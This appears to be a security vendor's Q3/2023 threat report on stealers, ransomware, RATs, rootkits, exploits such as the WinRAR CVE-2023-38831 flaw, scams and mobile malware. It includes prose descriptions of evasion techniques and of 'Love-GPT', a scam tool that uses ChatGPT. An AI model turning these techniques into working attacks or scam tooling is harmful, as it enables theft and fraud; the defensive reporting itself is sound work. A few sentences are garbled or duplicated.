The biggest increase in risk ratio with regards to information stealers experienced Ukraine (44%), United States (21%), and India (16%).

AgentTesla still holds and further underlined the first place between the most popular information stealers, increasing its market share further by 9%. FormBook, the second-place holder, stayed consistent, increasing its market share by only 0.55%. Fareit, SnakeKeylogger, and Stealc, all experienced an increase in their market share by 11%, 68%, and 4%, respectively. 

Fortunately, Raccoon Stealer with its 72% drop in market share was not alone. RedLine and Arkei were both 10% less active in Q3/2023 with regards to market share, along with ViperSoftX dropping by another 7%. 

The most common information stealers with their market share in Q3/2023 were: 

  • AgentTesla (29.14%) 
  • FormBook (11.39%) 
  • RedLine (5.46%) 
  • Fareit (5.45%) 
  • Lokibot (4.51%) 
  • Arkei (3.96%) 
  • ViperSoftX (2.08%) 
  • Raccoon Stealer (1.95%) 

It is also worth mentioning new information stealers or their variants, which have displayed a notable surge in activity over the past couple of months. These malicious actors are constantly evolving their tactics to bypass security measures and exfiltrate sensitive data. These often include new techniques that exploit vulnerabilities in both software and human behavior, making it imperative for organizations and individuals to remain vigilant and adopt robust cybersecurity strategies to safeguard their valuable information. 

The new version of Rilide Stealer, targeting banking data, was seen to work around Google Chrome Manifest V3. One of the new features of the Manifest V3 is disabling remote code execution in browser extensions. As a workaround, Rilide Stealer is using inline events along with Declarative Net Requests rules to execute the code remotely and remove the Content Security Policy headers. Since Rilide is being distributed using local loaders on the infected machines, that is without the use of Chrome Web Store, there is no review process involved that would detect this practice. 

Furthermore, new connections between Rhadamanthys and Hidden Bee coinminer were discovered, providing new insights into the inner workings and implementation details. Another malware, called DarkGate, is a loader with further capabilities like keylogging, cryptocurrency mining, stealing information from browsers, and an overall remote access functionality. Even though the malware can be traced a couple of years back already, it is still undergoing active development, introducing new vectors how to infect victims such as using Microsoft Teams. 

Additionally, Lumma, a malware-as-a-service stealer, is also continually gaining in popularity. The malware’s capabilities range from cryptocurrency theft to targeting two-factor authentication (2FA) browser extensions, harvesting banking data, credentials, and more. 

Clippers are generally small malicious programs that are used to swap the victim’s clipboard content for content specified by the attacker – in this case, crypto wallet addresses.  Such clippers that have gained popularity in the previous months are, among others, Atlas Clipper, Keyzetsu Clipper, and KWN Clipper, which are usually leveraging Telegram for command and control communication and offers for purchase.

Jan Rubín, Malware Researcher

Ransomware

Ransomware is any type of extorting malware. The most common subtype is the one that encrypts documents, photos, videos, databases, and other files on the victim’s PC. Those files become unusable without decrypting them first. To decrypt the files, attackers demand money, “ransom”, hence the term ransomware. 

The prevalence of ransomware is certainly not diminishing. In fact, it is the opposite. According to the research of Chainalysis, the total sum of money extorted during the first half of 2023 is about $450 million (compared to $280 million in the first half of 2022). This is caused by a change of tactics of the ransomware operators – they tend to target bigger victims, which brings the possibility of bigger figures paid as ransom. The average payment size for the top strains is as high as $1.7 Million USD (Cl0p ransomware) and $1.5 Million (BlackCat ransomware). 

Vulnerabilities in popular third-party applications widely used in companies make attacker’s job easier. We wrote about SQL injection vulnerability in the Progress MOVEit transfer software in the previous Threat Report.  

In addition to encryption of the victim data, ransomware gangs increasingly perform data extortion. Data encryption may be solved if the company has a good data backup policy; data extortion and subsequent leakage of internal documents may be a problem regardless of it. Also, keep in mind that when the ransom is paid, they don’t always keep the promise of deleting the extorted data

One of the new ransomware strains that emerged this quarter was Rhysida. The first mention of the ransomware was in May 2023 and the ransomware leak site already lists about fifty successfully attacked organizations – government, healthcare, IT, municipalities.

Rhysida leak site on the dark web

The encryptor used by the Rhysida gang is a 32-bit or 64-bit EXE file, compiled with MinGW/GCC 6.3.0 and linked with GNU Linker 2.30. For cryptographic operations, LibTomCrypt v 1.18.1 is used as crypto library. Files are encrypted by AES cipher in counter mode, the file key and IV are encrypted by RSA-4096 with OAEP padding. 

Rhysida wants to be as fast as possible during file encryption: 

  • Intermittent Data Encryption. Not everything is encrypted. For larger files, Rhysida only encrypts a few distinct file blocks. 
  • Multi-threaded encryption. For every processor, Rhysida created one encryptor thread. All processors in the PC are busy during the encryption process. 

From the usage of pthreads library, we assume that authors of the Rhysida ransomware wanted to build an encryptor that is also easily portable to other platforms. 

Rhysida drops a ransom note file called “CriticalBreachDetected.pdf” into each folder. The following picture shows an example of the ransom note:

Content of the ransom note created by Rhysida

More information about this ransomware strain can be found in our blog post

As usual in every Thread Report, we bring the overview of the risk ratio in our userbase. The following picture shows the riskiest countries (regarding ransomware).

Ransomware risk ratio for Q3/2023

The list of countries most at risk of ransomware attacks: 

  • Mozambique (0.74%) 
  • Angola (0.44%) 
  • Ghana (0.35%) 
  • Pakistan (0.20%) 

The most prevalent ransomware strains that we saw and protected against in the list below: 

  • WannaCry (19% of ransomware share) 
  • STOP (15%) 
  • Thanatos (3%) 
  • TargetCompany (2%) 
  • LockBit (2%) 
  • Cryptonite (2%) 
  • Enigma (1%) 

The total risk ratio amongst our user base remains approximately the same:

Development of the ransomware threats in our user base

Ladislav Zezula, Malware Researcher
Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

A Remote Access Trojan (RAT) is a type of malicious software that allows unauthorized individuals to gain remote control over a victim’s computer or device. RATs are typically spread through social engineering techniques, such as phishing emails or infected file downloads. Once installed, RATs grant the attacker complete access to the victim’s device, enabling them to execute various malicious activities, such as spying, data theft, remote surveillance, and even taking control of the victim’s webcam and microphone. 

The growing trend of RATs observed in Q2/2023 continues in Q3/2023. Overall, we have seen a slight increase in the risk ratio. The substantial rise of Remcos we reported in Q1 and Q2/2023 seems to have slowed, with Remcos staying around the same numbers as in the previous quarter. However, we are observing a steady growth of the DBatLoader dropper which can deliver Remcos among other payloads.

Global risk ratio in Avast’s user base regarding RATs in Q3/2023

The countries with the highest risk ratio regarding RATs are, as usual, Afghanistan, Iraq and Yemen due to the worm-like behavior of HWorm which seems to be widely spread in these countries. Additionally, we also see njRAT quite active in Iraq and Yemen. Countries with the largest increase in risk ratio are Portugal (148% increase), Poland (55%) and Slovakia (43%) caused by Remcos and in the case of Slovakia also Warzone. The biggest decrease in risk ratio was observed in Czechia (42% decrease), Belgium (34%) and Japan (33%). This is again likely tied to the activity (or for the moment the lack of) of Remcos and Warzone in these countries.

Map showing global risk ratio for RATs in Q3/2023

The largest increase in market share and number of protected users among the most prevalent RATs in Q3/2023 belongs to NanoCore. Both numbers grew by nearly 100%. Greece, Turkey, and Hungary are the most at risk of this RAT, we have also observed a substantial increase in Brazil, Mexico, and Spain. 

Even bigger increase had XWorm which gained more than 400%. However, in total numbers, XWorm is not as widely spread to make it to the top 10 list. 

Warzone and AsyncRat had the largest drop in risk ratio among the most prevalent RATs we see. Warzone went down by 27% and AsyncRat by 14% according to our data. 

The most prevalent remote access trojan strains in our userbase are: 

  • HWorm 
  • Remcos 
  • njRAT 
  • AsyncRat 
  • Warzone 
  • NanoCore 
  • QuasarRAT 
  • Gh0stCringe 
  • DarkComet
  • Bifrost 

Uptycs Threat Research team discovered a new RAT named QwixxRAT, first noticed in early August. The QwixxRAT has a fairly standard set of features including keylogging, information theft (credit cards, browsing history and bookmarks, Steam related data, etc.), spying (webcam, microphone), running commands on infected system and more. It uses Telegram as the C&C channel. 

ZenRAT is another RAT which appeared in Q3/2023, reported by Proofpoint Emerging Threats. This RAT was found to be bundled with the legitimate password manager Bitwarden on the website bitwariden[.]com. According to the research, ZenRAT is designed to be modular, however according to Proofpoint they only saw one module which seems to be gathering system information. 

Ondřej Mokoš, Malware Researcher

Rootkits

Rootkits are malicious software specifically designed to gain unauthorized access to a system and obtain high-level privileges. Rootkits can operate at the kernel layer of a system, which grants them deep access and control including the ability to modify critical kernel structures. This could enable other malware to manipulate system behavior and evade detection. 

The trend of rootkit activity has been stable since the beginning of the year. We can also state that there is still a long-term downward trend. The chart below shows the rootkit activity for the previous three quarters.

Rootkit risk ratio in Q1/2023 – Q3/2023

When examining the risk ratio for individual countries, China maintains its leading position regarding the extent of rootkit activities. Although globally, we are observing a decrease in activity, we have seen a particular increase in Ukraine (62%) and in the Russian Federation (62%), specifically the activity increase of the R77RK rootkit.

Global risk ratio for rootkits in Q2 and Q3 2023

In September 2023, an updated version of R77Rootkit (1.5.0) was released, simplifying its deployment on victims’ machines. However, there was no increase in the activity of this rootkit despite the improvements. So, the R77RK is still the malware market leader with the same share (18%) as in the previous quarter. 

Around 17% of unidentified strain rootkits are also in the market share, serving as kernel proxies for various activities involving elevated system privileges, such as terminating processes, altering network communications, and registry operations, among others. Compared to the previous quarter, an interesting feature is the increased use of the VMProtect to obfuscate driver functionality. 

The third rootkit with the third-largest market share is the Pucmeloun rootkit, whose primary functionality is the modification of network traffic to redirect to different pages. It is a part of other adware that controls web requests on the kernel layer. Adware websites have primarily Chinese content. 

The following is the comprehensive list of distinctly recognized Windows rootkit strains, along with their respective market shares: 

  • R77Rootkit (18%) 
  • Pucmeloun (13%) 
  • Alureon (7%) 
  • Cerbu (6%) 
  • Perkesh (6%) 

In terms of Linux kernel rootkits, inspired by Syslogk, the threat actors continue hiding command line backdoors (or bots, depending on how the attacker controls the infected computers) with kernel rootkits that execute those via magic packets (e.g. AntiUnhide rootkit). We continue monitoring Linux kernel rootkits that reuse the code of open-source projects. For instance, Rocke reuses the code of Reptile Reptile and hides a secret protected shell that can be spawned via magic packets.  and hides a secret protected shell that can be spawned via magic packets.

Martin Chlumecký, Malware Researcher
David Álvarez, Malware Analyst

Vulnerabilities and Exploits 

Exploits take advantage of flaws in legitimate software to perform actions that should not be allowed. They are typically categorized into remote code execution (RCE) exploits, which allow attackers to infect another machine, and local privilege escalation (LPE) exploits, which allow attackers to take more control of a partially infected machine. 

WinRAR is not a frequent target of exploits, aside from the occasional path traversals. Our attention was therefore immediately captivated when we first heard about CVE-2023-38831, an easy-to-exploit WinRAR vulnerability, which allows an attacker to craft a malicious archive so that it contains both a benign lure (e.g., an image file) and a malicious payload. When an unsuspecting victim opens such a malicious archive in a vulnerable version of WinRAR and double clicks the lure file, the malicious payload will get executed instead. This is because opening files from inside WinRAR is internally implemented by extracting the target files into a temporary folder and then calling ShellExecute on them. Unfortunately, due to a buggy path normalization, it was possible to redirect the ShellExecute call to target a different file than the one the user clicked on. For a more in-depth look at the exploit, we recommend reading this SecureLayer7 analysis.  

This vulnerability was exploited as a zero-day in financially motivated attacks since at least April 2023. The attacks took place on trading forums and consisted of attackers posting exploit archives promising details of novel trading strategies. However, instead of exciting new trading strategies, the archives were used to spread the DarkMe malware (or the Guloader -> Remcos duo in some attacks). This campaign was initially discovered in July by the Group-IB Threat Intelligence unit. After reporting the vulnerability to RARLAB, a patched version of WinRAR was released in August.  

Since WinRAR must be updated manually by downloading and installing the patched version, we can expect there will continue to be many users with unpatched versions in the future. While the exploit does require a fair amount of user interaction (not every targeted user will open the archive in WinRAR and double click the lure file), it is quite easy to craft an exploit archive (there is even a public PoC builder on GitHub), so it is likely that there will be threat actors experimenting with this vulnerability. And indeed, just recently Google TAG reported on “multiple government-backed hacking groups” exploiting this vulnerability. Let us therefore use this opportunity to remind the reader not to delay applying the update.

An exploit archive opened in a vulnerable version of WinRAR. Double-clicking the PDF file here would execute a malicious batch file located in the folder of the same name. Note that the PDF file does not have its usual icon. This is because there is an extra space appended to the end of the “.pdf” extension.

In other news, Google’s Threat Analysis Group and Citizen Lab discovered a new in-the-wild zero-day exploit chain for iPhones. This chain started with a WebKit RCE (CVE-2023-41993) which was combined with a signature bypass (CVE-2023-41991) and ultimately ended with a kernel LPE (CVE-2023-41992). Post-exploitation, the chain deployed the Predator implant, known to be developed by the commercial spyware vendor Intellexa. The attackers also used a parallel exploit chain for Android devices, but unfortunately the full details of this chain remain unknown at the time. 

As reported by Citizen Lab, one of the targets was former Egyptian MP Ahmed Eltantawy who announced his run for president in 2024. He was targeted through a man-in-the-middle (MitM) injection on plaintext HTTP, through a middlebox located at an ISP-level privileged network position. This essentially allowed the attackers to use a browser exploit with no user interaction required, similarly to how a watering hole or malvertising attack would work. While it is extremely hard to defend against such government-backed attackers, using a secure VPN should mitigate the risk of ISP-level MitM injection. However, note that just a single HTTP request outside the VPN tunnel is all the attackers would need to still be able to inject the exploit. 

Finally, in Q3/2023 the BLASTPASS exploit chain that was actively used by the infamous NSO Group to compromise fully patched iPhones in a zero-click manner. BLASTPASS was discovered by the Citizen Lab, who found it while helping check the device of a potential mercenary spyware victim. The initial memory corruption vulnerability appears to go by three different CVEs (CVE-2023-41064, CVE-2023-4863, and CVE-2023-5129), as there was some confusion at first about who should actually assign the CVE. Nevertheless, the vulnerable code is located in libwebp, Google’s image rendering library for the WebP format. While this library is very widely used, it is not currently clear what conditions are needed for the vulnerability to be exploitable. There has been some great research into the root cause of the vulnerability and a public PoC to trigger a heap overflow. However, weaponizing this heap overflow seems like an absurdly difficult feat, so at least for the moment, we do not have to fear this vulnerability being exploited in the wild by less sophisticated attackers. 

Jan Vojtěšek, Malware Reseracher

Web Threats 

Users increasingly depend on the internet in their daily lives, exposing themselves to a growing array of potential risks, like stealing their personal data or financial losses. The rise in activities such as variations of financial scams, dating scams, fake push notifications and phishing threats in general underscores this trend.  

The third quarter of 2023 was a growing quarter for web threats in general. Many types of threats started their growth at the end of the holiday season and this growth only continued in the third quarter. But there are also some exceptions. Let us take a closer look at them. 

Scams  

A scam is a type of threat that aims to trick users into giving an attacker their personal information or money. We track diverse types of scams which are listed below. 

The significant increase in scam threats that we reported in Q2/2023 remained strong in the third quarter. As you can see in the following chart, we even saw a slight resumption of growth in mid-August.

Scam risk ratio over the last three quarters 

In line with the trends observed in Q2, malvertising continues to serve as very strong tools for scammers, thanks to which they spread various categories of scams. This includes popular dating scams, or financial scams for example. These threats have maintained their strong position, but this is not the case with technical support scams. However, we are seeing the use of false reports of viruses being found to exploit them for sales purposes. Additionally, extortion email scams and phishing threats have both witnessed an uptick in popularity.

Global risk ratio for scam in Q3/2023

The countries most at risk of the scam attacks were Serbia, Kosovo, Montenegro, Albania, Croatia. 

Countries where there was an increase in risk ratio are for example Japan +19%, Greece +17%, United States +14%, Austria +13%, or Germany +12% 

Malvertising 

Malvertising is a malicious online advertising technique that involves the distribution of malware through online ads or, in some cases, in conjunction with browser push notifications. Cybercriminals use these seemingly legitimate ads to deliver malware to unsuspecting users’ devices when they click on or interact with the compromised advertisements. 

Cybercriminals are smart enough to make their malvertising pop-ups look genuine. Frequently, these fraudulent pop-ups exploit the recognizable antivirus company’s logo. The goal is to convince users they are encountering a legitimate notification from an antivirus provider. These alerts typically display messages that a virus on a computer has been found and that the subscription plan has expired. 

Upon clicking these deceptive pop-ups, unsuspecting users may find themselves redirected to a fake website. These fraudulent sites often take the form of straightforward phishing pages, where users are asked to enter personal credit card information under the guise of providing antivirus services. The scam can take many forms.

Various pop-up leading to the same scam
A fake alert landing page with push notification pop-ups as an example

We have warned about malicious push notifications already in previous reports; this quarter is no exception. This method continues to remain popular with scammers as its effectiveness is still considerable, especially on mobile phones. 

As you can see in the below chart, the holiday season has ended not just for students but also for threat actors as there is a substantial surge in the volume of threat detections during September. The graph below represents detection of several types of malvertising. Within the month of September, we observed two prominent spikes in malvertising activity.

Graph illustrating a notable upswing in malvertising activity in Q3/2023

One of the most common examples of this malvertising was a page that fell into the push notification section that often appeared as part of a redirect chain. This page has multiple variations. The main purpose is to simply convince user to allow push notifications.

An instance of a website persuading users to grant permission for push notifications.

Push notifications can be especially effective on mobile devices, where they can also be disguised as system notifications, such as an unanswered call or a new text message.

Example of a scam campaign using push notifications

Push notifications are not the only powerful tool for scammers. We have reported many times that scammers like to use advertising space on popular social networks. This way of promotion is especially dangerous because many users consider their social platforms to be a safe and personal space. Scammers also design their ads to attract attention, often by using catchy text or the faces of famous personalities. Thanks to this, the success rate of these campaigns is quite high. 

Another big advantage for scammers utilising social media ads is their ability to precisely target and tailor content to vulnerable users. Consequently, users may find their social media feeds full of these types of ads over time.

One adware example leading to a financial scam, which was seen in multiple languages.
Some scam ads are also found in video form

These above ad examples are from Facebook. In this case, these ads are part of a single fraudulent financial scam where scammers are trying to trick users into investing in an Elon Musk/Tesla project. After clicking on the ad, the user is redirected to a web page where they are informed about the great benefits and the certainty that this project is profitable.

Landing page supporting claims from social media advertising

The aim of the scammers in this example is to give the impression of professionalism. Part of the scam is also an appeal to the unrealistic possibility of buying through an ‘automatic robot’ that invests itself and ‘automatically’ earns money. 

Fake BBC News article ad

These fake sites can take many forms. Often there are variations that mimic the world’s famous media such as BBC News and many others. These ads take advantage of the targeting of ads that social platforms allow them to do; the ads click through to websites that are created for users in individual countries that correspond to popular news sites in those countries. 

The landing pages in this campaign also contain a registration form that requires users to enter their contact information. This information is then sent to the scammer, who then contacts the user either by email or, more often, by phone. Then the actual scamming effort is done over the phone. 

Example registration form

After filling out these fraudulent forms, the user can expect a phone call from the fraudsters. The caller subjects the prospective buyer to a thorough questioning, giving the impression that the financial company is checking not only the solvency of the prospective buyer but also their professional and financial knowledge level. The prospective client is then persuaded to install a remote computer access application, in this case, usually AnyDesk. 

To help avoid such scams, we strongly advise the following: 

  • do not disclose your personal information to people you do not know or cannot authenticate 
  • do not send photocopied personal documents 
  • do not send any printed credit card information 
  • do not give a code that would allow someone to access your computer remotely 
  • if someone is remotely connected to your computer for any reason, do not log into your online banking 
  • do not forward or tell anyone SMS bank authorization codes 
  • do not authorize a payment to a stranger 
  • keep an antivirus program installed on your computer 
  • keep your online banking limits as low as possible and increase them only to the actual need to pay a specific payment 

Dating Scams 

Dating scams, also known as romance scams or online dating scams, involve fraudsters deceiving individuals into fake romantic relationships. Scammers adopt fake online identities to gain the victim’s trust, with the goal of obtaining money or enough personal information to commit identity theft. 

Dating scams have garnered increased attention from malicious actors due to the ever-growing popularity of online dating platforms. The accessibility and usual anonymity of these websites make them fertile ground for scammers seeking to exploit people’s emotions and vulnerabilities. Bad actors create fake profiles and engage in emotional manipulation, gaining the trust of unsuspecting users before exploiting them financially or emotionally. As people turn to online dating in greater numbers, scammers see a larger pool of potential victims, which encourages them to invest more time and effort into these deceptive schemes. 

We observed a significant increase in dating scams during Q3/2023. The risk ratio of becoming a target rose by 34%.

Global risk ratio in Avast’s user base regarding dating scams in Q3/2023

Dating scams are not confined to specific regions, but they do tend to be more prevalent in countries, such as those in Europe, the United States, Canada, and Australia. This can be attributed to a higher proportion of the population engaging in online dating due to increased internet accessibility and smartphone usage. 

As illustrated by the heat map below, the highest risk ratio of getting involved in a dating scam is in Belgium (4.97%), Luxembourg (4.86%), Germany (4.76%), Slovakia (4.74%), and Austria (4.66%). In Canada, the risk ratio is 2.74%, closely followed by the United States with the risk ratio of 2.17%. For Australia, the risk ratio is 2.33%.

Map showing global risk ratio for dating scams in Q3/2023

Love-GPT 

We have discovered a tool, which we call Love-GPT, that provides vast functionality over several different dating platforms, providing the capability to create fake accounts, interact with victims, bypass CAPTCHA, anonymize the access using proxies and browser anonymization tools, and more. The author is also experimenting with ChatGPT, the now-famous text-based generative AI, to provide them with more streamlined and believable texts. Because of that, we decided to name the tool Love-GPT. We have identified 13 different dating and social discovery platforms that the tool interacts with: 

  • Ashley Madison  
  • Badoo  
  • Bumble  
  • Craigslist  
  • DuyenSo  
  • Facebook Dating  
  • likeyou.vn  
  • MeetMe  
  • OkCupid  
  • Plenty of Fish (POF)
  • Tagged  
  • Tinder  
  • Zoosk 

The tool uses ChatGPT API in attempts to streamline the texts. Overall, the tool contains these functionalities leveraging ChatGPT (both finished and under development): 

  • Create a fake profile description to be used on the dating platforms 
  • Read the inbox on the dating platform and reply to messages  
  • Ask for a phone number  
  • Write a first contact message  
  • Chat from a template 

The tool uses “prompt” values in the API requests’ body to generate the output using ChatGPT. In some of the cases, the whole context is provided to guide ChatGPT for the more precise results:

Just for the sake of demonstration, this is what ChatGPT usually returns for similar prompts: 

This functionality provides an interesting insight into the upcoming trend of using highly believable texts leveraging generative AI and large language models (LLMs). We can already see that tools misusing the generative AI platforms are emerging and this is likely one of the first in-the-wild examples how the bad actors can misuse it. 

Love-GPT is written in VB6 and contains many control panels for its operations. In total, the tool contains 58 different application forms. One of such form, essential for the whole toolset, can be found below and it is called Account Control Center.

Account Control Center with a build-in browser

With this artillery, Love-GPT stays under the radar because no one can effectively distinguish connections coming from this specific tool and other regular users accessing the platforms. If you are interested in more technical details, check out our detailed analysis on Decoded

Tech Support Scams 

Tech support scam threats involve fraudsters posing as legitimate technical support representatives who attempt to gain remote access to victims’ devices or obtain sensitive personal information, such as credit card or banking details. These scams rely on confidence tricks to gain victims’ trust and often involve convincing them to pay for unnecessary services or purchase expensive gift cards. It is important for internet users to be vigilant and to verify the credentials of anyone claiming to offer technical support services. 

The graph below demonstrates that there was no change for Q3. The downward trend from Q2 continued in the following quarter. 

Graph illustrating a decline from the beginning of the year

Despite overall downward trend, a notable shift has been observed in the context of detection ratios among different countries. Compared to the previous quarter we have a change in terms of countries with the highest risk ratio. Japan came in second and was surpassed by Germany, Canada saw a big drop when it was surpassed by both the US and Switzerland. 

Country Risk ratio 
Germany 1.81% 
Japan 1.37% 
United States 1.33% 
Switzerland 1.19% 
Canada 0.99% 

Even though we have seen a decline for this threat since the beginning of the year, the tech support scam still remains a global threat. Which is very effective, especially for inexperienced users. 

Heatmap showing risk-ratio for Q3/2023

For all the years we have been monitoring tech support scams, the design of the site has barely changed. The main goal is to block the browser in such a way that the user is motivated to pick up the phone and call the provided phone number. 

On following example, you can see the German variant. At the same time, Germany had the highest risk ratio in the third quarter despite the overall general decline. 

The German variant of the most prevalent version of the TSS landing page

The appearance of the pages is not the only clearly recognizable sign. The URL composition of these scams is no less interesting. It is often possible to recognize the type of campaign and its focus. Sometimes they even contain scam phone numbers as seen in the following illustration. 

An example of URLs from a prevalent campaign containing scammer phone numbers

Refund and Invoice Scams 

Invoice scams involve fraudsters sending false bills or invoices for goods or services that were never ordered or received. Scammers rely on invoices looking legitimate, often using company logos or other branding to trick unsuspecting victims into making payments. These scams can be especially effective when targeted at businesses, as employees may assume that a colleague made the purchase or simply overlook the details of the invoice. It is important to carefully review all invoices and bills before making any payments and to verify the legitimacy of the sender if there are any suspicions of fraud. 

In Australia, the past quarter has been an exception to the otherwise consistent trend, with a significant spike and sudden rise in email-targeted scams. Notably, the rise in protected customers in Australia surpassed even that in the US, which is traditionally at the top of the list. The number of threats we monitored in other regions mainly stayed at very similar numbers compared to previous quarters.

Refund and Invoice Scam risk ratio in Q3/2023

The highest uptick we observed was primarily due to the rise in Australia. Additionally, we noticed that smaller peaks usually occur at the beginning of the working week. This is when people generally sift through their mailboxes, and their vigilance may be lowered because of the larger volume of data they have to process. Therefore, one takeaway is that it definitely helps to take your time and sift through your emails in a peaceful manner, as rushing may increase the chance of falling victim to a scam. 

Refund and Invoice Scam in Q2/2023 and Q3/2023

In this quarterly report, we have chosen to spotlight a sample predominantly prevalent in Australia, as it experienced a nearly 30% increase compared to the previous period. This example was selected for its demonstration of many features increasingly noticeable in various other types of scams. The points we will mention should improve your ability to spot similar scams. Below is a breakdown of this deceitful email: 

Example of a Refund and Invoice Scam seen in Q3/2023

This scam email contains a few typical scam traits: 

  • Attention-Grabbing Subject Line: “Dark Web Discovery: Your 30 Photos and 5 Emails Exposed!” By creating a sense of immediate danger, the sender aims to provoke curiosity and urgency. 
  • Impersonation of a Legitimate Entity: The email is supposedly from a “Support Team”, which sounds official and trustworthy. However, the domain ‘@canadialect.com‘ raises eyebrows. Always double-check the authenticity of the domain. 
  • Urgency and Fear: The email highlights that the recipient’s “subscription has expired,” implying prior engagement or services with them. It also claims a discovery of personal photos and email addresses on the Dark Web. 
  • Detailed Alarming Findings: The message dives deeper into the ‘findings’, mentioning “30 photos of you” and “2 email addresses” associated with the recipient found in dark web forums. Providing specifics makes the scam seem more credible. 
  • A Tempting Offer: Following the alarming statements, there is a solution offered – a “(80%) renewal discount Today” on their service. This discount plays on the human tendency to seek quick resolutions when faced with threats. 
  • Clear Call to Action: The bold “Renew Now!” button at the end of the email serves as a clear directive for the panicked reader. Clicking on such links often leads to phishing sites or direct financial scams. 

As a parting word of advice, always be skeptical of unsolicited emails, especially those that invoke fear and urgency. Verify claims independently and avoid clicking on links or downloading attachments from unknown senders. 

Phishing 

Phishing is a type of online scam where fraudsters attempt to obtain sensitive information including passwords or credit card details by posing as a trustworthy entity in an electronic communication, such as an email, text message, or instant message. The fraudulent message usually contains a link to a fake website that looks like the real one, where the victim is asked to enter their sensitive information. 

In the Q2/2023 Threat Report, we pointed out that phishing activity was picking up. Now we can confidently confirm that our estimates were correct and after a dip in mid-July, a wave of new samples arrived in August, which then represents a big jump on the chart. 

The following graph illustrates the activity of phishing threats across two quarters. 

Risk ratio for Q2-Q3/2023 of phishing threats

Furthermore, we have observed an emerging trend in phishing delivery methods. Over the past few months, there has been a notable uptick in the use of InterPlanetary File System (IPFS) to disseminate phishing content. This decentralized protocol, designed for storing and sharing files, has become an attractive avenue for cybercriminals.

IPFS-based attacks and the related risk ratio in Q3/2023

In addition to IPFS, we have also witnessed cybercriminals turning to the CAR file format, which poses a unique challenge for traditional HTML scanners, allowing it to potentially bypass detection. This exclusive preference for such hosting methods among hackers can be attributed to their ease of deployment and the added complexity in takedown procedures, providing an advantageous environment for malicious activities.

Example of a phishing page using IPFS

Campaigns that are running on IPFS infrastructure quite often use some type of obfuscation. In most cases these are very basic types and their deobfuscation is very simple. 

In this prevalent example you can see that the HTML code itself has been encoded to make it unreadable. Therefore, the JavaScript feature unescape() is used. Despite the fact that the use of this function is not recommended, because it has been deprecated, it often appears in IPFS samples. 

Source code is typically obfuscated

In decoded HTML source code, you can see that scammers are using submit-form.com endpoint for credentials submission.

Deobfuscated source code of IPFS phishing sample

Analyzing the data for Q3/2023 Argentina, Brazil, Mexico, and Spain are countries with a significant increase in Q/Q risk ratio for phishing. Countries with the highest overall risk ration are Macao with 19.47%, Angola with 13.14% or Pakistan with risk ratio of 12.8%.

Global risk ratio of phishing in Q3/2023

Phishing has long been the classic and primary way to steal valuable data from users. A growing trend points out that although this is a relatively old method, it is far from being obsolete.

Alexej Savčin, Malware Analyst
Martin Chlumecký, Malware Researcher
Branislav Kramár, Malware Analyst
Bohumír Fajt, Malware Analysis Team Lead
Jan Rubín, Malware Researcher

Mobile-Related Threats 

Another quarter, another set of varied and interesting developments hitting the mobile threat landscape. Related to the escalating situation between Israel and Palestine, a spyware mimics a missile warning application used in Israel with the intent of stealing victim data. Also of note is the Xenomorph banker that has added new features and is spreading alongside a Windows info-stealer.  

A new strain of Invisible Adware displays and clicks on adverts while the device screen is off, raking in fraudulent ad revenue and draining victim’s batteries and data allowances. We also observed several new versions of SpyNote this quarter, with one breaching the border between spyware and banker malware. 

Popular messenger application mods such as Telegram, Signal and WhatsApp continue to be abused to serve spyware. And finally, SpyLoans continue to spread on PlayStore and threaten vulnerable victims with extortion. 

Web-Threats Data in the Mobile Landscape 

Like on Desktop, we have introduced web-threat related data into our mobile threat report this quarter. This added data reflects a re-shuffle of the most prevalent threats facing mobile users today. As evidenced by the graphic below, scams, phishing and malvertising are responsible for the majority of blocked attacks on mobile.

Graphs showing the most prevalent threats in the mobile sphere in Q3/2023 

It makes sense that web-based threats will account for the majority of blocked attacks on mobile as well as desktop. With any malicious app on Android, user action is required to install it and, in most cases, the malware requires the user to enable some permissions for it to activate its malicious functionality. Contrary to this, web-based scams, phishing and malvertising can be encountered through normal browsing activity which most mobile users do every day. These web threats may also be contained in private messages, email, SMS, and others. 

Adware Becomes Nearly Invisible 

Adware threats on mobile phones refer to applications that display intrusive out-of-context adverts to users with the intent of gathering fraudulent advertising revenue. This malicious functionality is often delayed until sometime after installation and coupled with stealthy features such as hiding the adware app icon to prevent removal. Adware mimics popular apps such as games, camera filters, and wallpaper apps, to name a few. 

Despite the addition of web threats data, adware remains one of the most prevalent threats on mobile and retains its top spot among traditional malware apps. Serving intrusive advertisements to its victims with the intent of gathering fraudulent ad revenue, these apps pose a danger and annoyance to both users and advertisers alike. 

At the top of the adware list is HiddenAds, followed by MobiDash and FakeAdBlock strains. While both MobiDash and FakeAdBlock have seen over 40% decrease in protected users, HiddenAds is on the rise again with a bump of 15% in protected users. All three strains share some features such as hiding their icon and displaying out-of-context full screen ads that annoy victims. HiddenAds has historically relied on the PlayStore as a mode of spread, while the others generally rely on 3rd party app stores, malicious redirects, and advertisements. Of note is a recent addition to the stealth features of these adware apps; once installed, they display a fake error stating the app is not available in the victim’s region or country with an ‘installation failed’ message. Coupled with hiding its icon, the adware conducts its malicious behavior in the background while the victim remains unaware of the source of the fraudulent ads.

MobiDash adware tries to trick its victim by displaying a fake error message after install  

This quarter a new batch of adware dubbed Invisible Adware has snuck onto the PlayStore and gathered over two million downloads. True to their name, these applications try and display advertisements while the device screen is off. In essence, the victim would be unaware their phone is displaying ads while the malicious actors gather revenue through fake clicks and ad views. However, this will likely impact the device battery and potentially incur data charges, while at the same time contributing to ad fraud. The applications request permissions to run in background and ignore battery optimization to conduct their activity. While observed behavior is that of ad fraud, there is also potential for installing other malware or visiting malicious websites.  

The average daily protected users slightly increased when compared to last quarter. MobiDash and FakeAdBlock strains have gone down while HiddenAds continue to increase in popularity. Another campaign on PlayStore contributes to the steady numbers this quarter. 

Brazil, India, and Argentina are again at the top of the most affected users by adware this quarter. Argentina saw a 14% increase in monthly affected users. India, Indonesia, and Paraguay have the highest risk ratio this quarter, meaning users is these countries are most likely to encounter adware.

Global risk ratio for mobile adware in Q3/2023  

Bankers Welcome SpyNote into the Fold 

Bankers are a sophisticated type of mobile malware that targets banking details, cryptocurrency wallets, and instant payments with the intent of extracting money. Generally distributed through phishing messages or fake websites, Bankers can take over a victim’s device by abusing the accessibility service. Once installed and enabled, they often monitor 2FA SMS messages and may display fake bank overlays to steal login information. 

